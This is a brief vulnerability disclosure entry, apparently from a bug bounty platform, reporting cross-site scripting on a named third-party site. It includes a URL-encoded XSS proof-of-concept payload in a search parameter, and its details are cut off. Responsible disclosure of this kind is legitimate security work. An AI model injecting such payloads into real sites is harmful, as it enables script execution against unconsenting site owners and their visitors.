lsps2007.cam-content.com XSS vulnerability

Vulnerable URL: http://lsps2007.cam-content.com/SearchEx.aspx?searchbox=1=erotik-kleinanzeigen-com=a%3e%27%3e%22%3et%3ci%3ep%3cimgsrc%3dyonerror%3dprompt%2fopenbugbounty%2f%3e=Unbekannte+Anmeldedaten=a%3e%27%3e%22%3et%3ci%3ep%3cimg+src%3dy+onerror%3dprompt%2fopenbugbounty%2f%3e Details:...